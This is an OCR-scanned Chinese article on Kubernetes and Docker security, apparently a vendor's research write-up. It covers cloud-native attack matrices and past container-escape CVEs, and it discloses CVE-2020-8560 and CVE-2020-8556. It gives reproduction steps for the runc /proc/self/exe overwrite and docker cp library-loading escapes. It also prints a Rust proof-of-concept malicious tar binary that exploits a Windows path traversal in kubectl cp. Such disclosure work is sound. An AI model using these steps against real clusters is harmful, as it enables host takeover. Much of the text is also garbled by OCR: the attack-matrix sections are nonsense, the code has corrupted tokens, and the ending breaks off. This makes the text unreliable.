云原生基础设施安全初探

云原生基础设施安全初探

一、刖百

随着云计算平台的成熟和分布式框架的普及，应用上云已经是不可逆转的

趋势。而新的技术形态会带来新的安全问题，云原生的安全也开始引起业界的

广泛关注。

Kubernetes和容器技术是云原生的基础设施，现有的公开资料大多是对

业务上的配置漏洞进行木瓶里，少有对这两个基础设施代码层面的漏洞分析、攻

击面总结。

本文是对Kubernetes和Docker进行安全调研的一个总结，包括对已有

漏洞和攻击面的梳理。在这过程中，笔者发现了两个KubarnaWv的漏洞,我

们于2020年6月通过官方渠道通报了这两个漏河,官方已于2020年8月确

认漏洞诙，并给出和

CVE:CVE-2020-8560CVE-2020-8556o

在本文中分享这两个CVE的细节。文中的一些观点旨在抛砖引玉，欢迎大

家一起探讨.

二、攻击面与已知漏洞

目前，云厂商都十分重视云原生安全。在云原生计算基金会的资助下,

Kubernetes提出了漏洞悬赏项目，以丰厚的奖金激励安全研究员在

Kubernetes生态中挖掘漏洞。

除此之外,Google也在GKE上设立了一个CTF题（称作kCTF）,并以

丰厚的奖励悬赏在GKE上的提权漏洞。微软Azure安全中心和阿里云安全也

都发布了自己的云上攻防矩阵，总结了Kubernetes生态以及自建的服务场景

中的攻击面。

微软云攻防矩阵

InitialAccessExecutionPersistencePrivilegeDefenseCredtntUIDiscoverylateralImped

EscalationEvasionACCBSSMovement

UsingCloudExecintoBackdoorPrivilegedClearcontainerAccesstheKBSAccesscloud

credentialscontainercontainercontainerlistK8SsecretsAPIserverresourcesDataDestruction

Compromisedba$h/cmdinsideWriUbleCki$ter<adminDeleteK8SMountserviceAccessKubeletContainerserviceResource

imagesinregistrycontainerhostPmmountbindingeventsprincipalAPIaccountHijacking

KubernetesPod/containerAccesscontainerNetworkClusterinternal

KubeconfigfileNewcontainerCronJobhostPathmountnamesimiUrityserviceaccountmappingnetworkingDenialolservice

ApplicationsAppbcations

credentialsinAccesscredentialsin

ApplicationApplicationAccesscloudConnectfromconfigurationKubernetesconfiguration

vulnerabilityexploit(RCE)resourcesProxyserverfiksdashboardfiles

SSHserverWritablevolume

ExposedrunninginsideInstancemountsonthe

DashboardcontainerMetadataAPIhost

Access

Kubernetes

dashboard

AccesstiMer

endpoint

阿里云攻防矩阵

InmalEMCUVOA，nD，CicZlXonEvwAonCr^denttoACCMSOieeoveryLateralMovementtonpect

初HSft珞・温建QVMilWflM

a・■弁

•过3^造人，・■速HOfiVlflBBKStSmfJVBaWteAPitewQQXiiKAsS

a19ft

使用多・■・tiMnwa•日KteRoMMngAOS日”.运产3X.伪网3MAp1cisxaafiMe

MPMM

。API$42条.■逆久化■用MCI目♦逸逸购得景如801矍M«S<vK»■mc«Do6

amfinvBAooourtMiMBAoCOlZ^HKai

API

KMoonkMHB・这UnunR・JM通这代。成■8网KRKteDMitMfdatarfMR.透ttCM

Accoc^t速fUPi逋■MW4KMAR

JrvedMill.Swvw

docMr■过gckerflU通JmtC&AQent科闲》3人mm6网ya・过H・目•温・

a<K«■GBtlB

••内施用M入・过云厂・•用3»送行・6何云厂・*M5同3

AdoudSheTF”.a□

MaMr^ASSM*・•内a何ti・■长通过ModePota闷收畲・三万3・#

g*ettocMM.Service

AucMBUI^B

MJVUnm

逸

大多数的云原生安全问题来自于配置漏洞。上述几个云上安全矩阵的详解

中，给出的大部分安全风险的场景都是配置漏洞，例如：

(1)创建容器时，将容器配置成为特权容器。攻击者从特权容器逃逸是非常容

易实现的；

(2)创建容器时,将docker.sock挂载在容器内部。攻击者可以通过该socket

与dockerdaemon通信,启动一个高权限的容器,从而提权；

⑶未正确配置kubelet10250端口的鉴权。攻击者能通过伪装apiserver来

控制该节点。而配置漏洞的发现需要大量的人力，需要开发工程师与安全工程

师协作完成。

因而，在平台开发的过程中让开发工程师了解云上可能存在的攻击面是必要

的。

另一方面，笔者作为安全团队的一员，更关心的是依赖的开源框架的安全

性问题。Kubernetes作为云原生的基础设施，其安全性事关重大；其底层默

认使用的容器管理引擎Docker,更是安全研究者关注的热点。

因而总结了Kubernetes和Docker的一些攻击场景以及影响较大的已知

漏洞，来提供一些攻防思路。

2.1Kubernetes历史漏洞

CVE-2019-1002101

1.攻击场景

攻击者拥有一个pod的控制权，目标是以host上高权限账户执行攻击者代

码。

2.漏洞背景

"kubectlcp"支持从pod中拷贝，或者拷贝文件到pod中。执行时,是用

pod内的tar二进制打包容器内的文件,然后将打包好的tar包传给host来

解压这个tar包。

3.漏洞复现

(1)攻击者劫持一个pod后，修改pod内的/bin/tar二进制；

⑵集群管理者执行"kubeetIcp"命令从pod中拷贝文件到本机;

(3)由于解压tar包时会写文件，攻击者可以传一个精心构造的恶意tar包，利

用符号链接可以任意对集群管理者本机的文件进行写操作。

4.攻击前提

用户要调用"kubectlcp"来复制攻击者劫持的pod中的文件。

CVE-2018-1002105

1.攻击场景

攻击者能通过鉴权，可以向apiserver发送请求,目标是控制其他用户的容

器。

2.漏洞背景

用户执行一个命令的数据流向是：client->叩iserver->kubelet。有漏洞版本

的k8s中，kubelet返回处理失败后,apiserver没有关闭连接。

3.漏洞复现

攻击者发起一次失败的请求后，由于连接没关闭，可以继续通过该链接发送请

求使得控制同一kubelet的不同容器。

4.攻击前提

攻击者有能通过鉴权；同一个kubelet的机器上有其他用户的container.,

CVE-2019-11254

1.攻击场景

攻击者能通过鉴权，可以向apiserver发送请求，目标是控制让集群拒绝服

务C

2.漏洞复现

攻击者构造一个yaml文件，传给apiserver，使得apiserver在解析该文件时

花费大量时间。

3.攻击前提

攻击者有能通过鉴权。

CVE-2020-8557

1.攻击场景

攻击者拥有一个pod的控制权，对文件系统有写权限。目标是让pod所在的

节点拒绝服务。

2.漏洞背景

k8s中,一个pod如其占用的存储空间超过限定的存储大小，则会被kubelet

的驱逐管理器驱逐出该机器；/etc/hosts路径是pod外挂载在pod内的。

3.漏洞复现

攻击者在pod中向/etc/hosts文件写入大数据，即使超过限定的存储大小,

k8s的驱逐管理器也不会驱逐该pod,所以可以造成该节点的磁盘空间被占

满，进而导致拒绝服务。

4.攻击前提

攻击者拥有一个pod的控制权。

2.2Docker已知漏洞

CVE-2019-14271

1.攻击场景

攻击者拥有一个容器的控制权，目标是以host的高权限执行攻击者的代码。

2.漏洞背景

"dockercp"命令允许从容器、向容器中、或容器之间复制文件；执行

"dockercp"时,dockerd会起起名为docker-tar的帮助进程；docker­

tar通过chroot到容器，然后打包目标文件;但docker-tar除了chroot

到容器文件系统外，并没有被容器化。它是在host命名空间运行的，权限为

root且不受限于cgroups或seccomp。

3.漏洞复现

docker-tar依赖于一些动态加载库(libnss_*.so),因为docker-tarchroot

到了容器，因此会从容器文件系统中加载库。攻击者在容器内创建一个恶意

libnss库即可以root权限执行自己的代码。

4.攻击前提

拥有root权限的用户要调用"dockercp"来复制恶意容器内的文件。

CVE-2019-5736

1.攻击场景

攻击者拥有一个容器的控制权，目标是以host的高权限执行攻击者的代码。

2.漏洞背景

docker在container内创建一个进程，一般是通过"dockerexec"命令；执

行过程是：rune启动，加入到容器的命名空间，接着启动一个子进程，最后

通过exec系统调用执行用户指定的二进制程序;/proc/[PID]/exe是个特殊

的符号链接,如果打开这个文件，在权限检查通过的情况下，内核将直接返回

一个指向该文件的f&

3.漏洞复现

(1)将容器内的/bin/sh程序覆盖为#!/proc/self/exe;

⑵持续遍历容器内/proc目录，找到rune进程号；

⑶以只读方式打开/proc/[runc-PID]/exe,拿到文件描述符fd;

(4)持续尝试以写方式打开fd,一旦可以写时，立即通过该fd写攻击者的恶

意代码；

(5)host用户执行rune时，就会触发步骤2以后的逻辑,执行恶意代码。

4.攻击前提

攻击者有容器的控制权,且用户要调用

hostrunc0

CVE-2020-11492

1.攻击场景

攻击者拥有host上的低权限账户，目标是以host上高权限账户执行攻击者

的代码。

2.漏洞背景

Windows下，DockerDesktop应用开启后，会创建多个子进程，使用

Windows命名管道与DockerDesktopService交互;Windows—些账户

组权限很小，对计算机资源的访问就非常有限（比如NetworkService）。

3.漏洞复现

攻击者在低权限的账户下，建立一个名为

\\\\\\\\.\\Wpipe\\\\dockerLifecycleServer的命名管道,并等待连接。当

DockerDesktop启动后，子进程会连接恶意管道，于是低权限账户就可以获

得SYSTEM权限。

4.攻击前提

攻击者建立恶意管道要在SYSTEM权限账户启动DockerDesktop之前。

2.3攻击面总结

通过上述的已知历史漏洞，我们可以总结出以下的攻击面：

(1)内核层面

如果内核本身有能提权的漏洞(例如CVE-2016-5195脏牛漏洞)，那么在容

器内是会利用内核漏洞进行逃逸的；又或者内核的cgroups、seccomp等机

制不完善，也有可能造成法访问；

(2)Docker层面

在外部命令(如dockercommit,dockercp,dockerdiff,dockerexec)执

行时，所产生的辅助进程有可能是host用户的权限，在容器内如果有办法注入

自己的恶意代码在辅助进程内，那么就可以以host权限执行自己的逻辑；

⑶Docker层面

Docker本身的管理进程众多，攻击这些进程间的通信，可能可以获取敏感信

息；

(4)Kubernetes层面

向外暴露的网络服务都可能受到攻击，鉴权与否是关键；

(5)Kubernetes层面

用户与容器内部的交互的命令(目前只有cp命令)可能会造成容器内部对容

器外部的非法写操作。

新的Oday:漏洞真的被补上了么?

在探索云原生安全性的过程中，笔者发现许多攻击面很别出心裁，非常有借鉴

意义。

然而深入调研这些漏洞的细节与修复漏洞的记录后，笔者发现一些漏洞并没有

真正的被修复，一些修复漏洞的代码在特定条件下能够被绕过。

在一番努力下，笔者基于已披露的漏洞，发现了两个新的漏洞：CVE-2020-

8560与CVE-2020-8556。

CVE-2020-8560

1.漏洞背景

与CVE-2019-11246,CVE-2019-11249类似kubectlcp”仍旧有安全性

问题。

"kubectlcp"支持从pod中拷贝，或者拷贝文件到pod中。执行时，是用

pod内的tar二进制打包容器内的文件,然后将打包好的tar包传给host来

解压这个tar包。

2.版本信息

Kubernetesvl.18.5(releasedin26June2020)o

2.漏洞分析

之前的修复补丁中，主要添加了两个检查：

⑴利用path.Clean()方法,将要解压的路径转化为不带有〃../〃的形式，然

后判断是否会穿越到上层目录；

(2)判断解压的文件是否是符号链接，如果是的话则不解压。

prefix:=getPrefix(src.File)

prefix=path.Clean(prefix)

//removeextraneouspathshortcuts-thesecouldoccurifapathcontainedextra

//andattemptedtonavigatebeyond■/"inaremotefilesystem

〔prefix=stripPathShortcuts(prefix)

returno.untarAll(srcfreader,dest.File,prefix)

ifmode&os.ModeSymlink!=0{

ifIsymtinkWarningPrinted&&len(o.ExecParentCmdName)>0{

fmt.Fprintf(o.lostreams.ErrOut,"warning：skippingsymlink：%q->%q(consider

using\"%sexec-n%q%q••tarcf-%q|tarxf-\")\n"fdestFileName,header.

Linkname,o.ExecParentCmdName,src.PodNamespace,src.PodName,src.File)

symlinkWarningPTinted=true

continue

}

fmt.Fprintf(o.lostreams.Errout,"warning：skippingsymlink：%q->%q\n",

destFileName,header.Linkname)

continue

但是笔者发现，这样修复路径穿越，只能防止"的路径穿越，却不能防

止"..\\\\"的路径穿越，即在Windows下「kubectlcp〃仍旧有路径穿越

的可能。

于是很简易地构造了一个恶意的tar二进制，将该二进制拷贝到pod的

/bin/tar,然后用Windows的机器连接到集群，调用kubectlcp命令从该

pod中拷贝文件到本机上(命令：kubectlcpshell-

demo:/any/path/you/like./)。

于是恶意文件便写在了当前目录之外的地方。恶意tar的二进制逻辑如下

(rust代码):

usestd::fs::File;

usestd::1o::Read;

usetar::{Builder,Header);

fnmain(){

letargs:Vec<Str1ng>=std::env::args().collect();

lettarget:String=Ifargs.len()<4{

lettarget:String="missargs1'.to_str1ng();

target

}elset

lettarget:String=args[3].clone。；

iftarget.len()>0&&target.chars().nth(n:6).unwrapO=='/*{

target[l..].to_string()

}else(

target

}

}；

letdata:Vec<u8>=matchstd::env::var(key:"MALWARE_CMD"){

Ok(val:String)=>{

letmutmfile:File=File::open(path:val).unwrapO;

letmutdata:Vec<u8>=Vec::new();

mfile.read_to_end(buf:&mutdata).unwrapO;

data

}

Err(_)=>{

letstr:&str="echo\''hahahahia\''\n\rPAUSE>nul";

str.as_bytes().to_vec()

}

}；

letrelat1ve_path:&str="...\\program.cmd,';

letmutheader:Heade-=Header::new_gnu();

header.set_s1ze(data.len()as_);

header.set_cksum();

letstdout:Stdout=std::1o::stdout();

letmutar：Builder<Stdout>=Builder::new(obj:stdout);

ar.append.data(&mutheader,target+"/"♦relative_path,data:&data[..]).unwrapO;

ar.f1n1sh().unwrapO;

)

CVE-2020-8556

1.漏洞背景

与CVE-2020-8557类似，攻击者仍可以在pod内通过对某个路径写大文件来

让节点DoS。

k8s中,一个pod如其占用的存储空间超过限定的存储大小，则会被kubelet

的驱逐管理器驱逐出该机器,如果没有正确驱逐，则会造成节点无法加入新的

pod,导致拒绝服务；

/etc/hosts?D/dev/termination-log路径是pod外挂载在pod内的。

2.版本信息

Kubernetesvl.18.6(releasedin15July2020)。

3.漏洞分析

在之前的修复补丁中，为了防止pod内的攻击者向/etc/hosts路径下写大文

件，开发者加了额外的逻辑统计该路径的文件的大小，如图所示。加入这段逻

辑以后，可以保证如果pod内占用的磁盘空间(包括/etc/hosts)大于预设的

值的话,该pod会被驱逐管理器驱逐。

//podLocalEphemeralStoragsUsageaggregatespodlocalephemeralstorageusageandinode

consumptionforthespecifiedstatstomeasure.

tuncpodLocalEphemeralStorageUsage(podStatsstatsapi.PodStats,pod*vl.Pod,statsToMeasure[]

fsStatsType,etcHostsPathstring)(vl.ResourceList,error){

disk:=resource.Ouantity{Format：resource.BinarySI}

inodes:=resource.Quantity{Format:resource.Decimals1}

containerUsageList：=containerUsagefpodStats,statsToMeasure)

disk.Add(containerUsageList[vl.ResourceEphemeralStorage])

inodes.Add(containerUsageList[resourcelnodes])

ifhasFsStatsType(statsToMeasure,fsStatsLocalVolumeSource){

volumeNames:=localEphemeralVolumeNames(pod)

podLocolVolumcUsogeListpodLocalVolumeUsage(volumcNomcs,podStots)

disk.Add(podLocalV3lumeUsageList(vl.ResourceEphemeralStorage])

inodes.Add(podLocalVolumeUsageList(resourcelnodes])

iflen(etcHostsPath)>0{

ifstat,err:=os.Stat(etcHostsPath);err=nil{

disk.Add(♦resource.NewQuantity(int64(stat.Size()),resource.BinarySI))

inodes.Add(♦resource.NewQuantity(int64(1),resource.DecimalSI))

}

returnvl.ResourceList{

vl.ResourceEphemeralStorage：disk,

resourcelnodes:inodes,

},nil

)

但是,笔者在集群中测试时,发现不仅/etc/hosts路径是pod外挂载的,

/dev/termination-log也是pod外挂载在pod内的。

/dev/termination-log本意是用于pod异常关闭时写临终遗言,方便集群管

理者查看日志。

42,仲f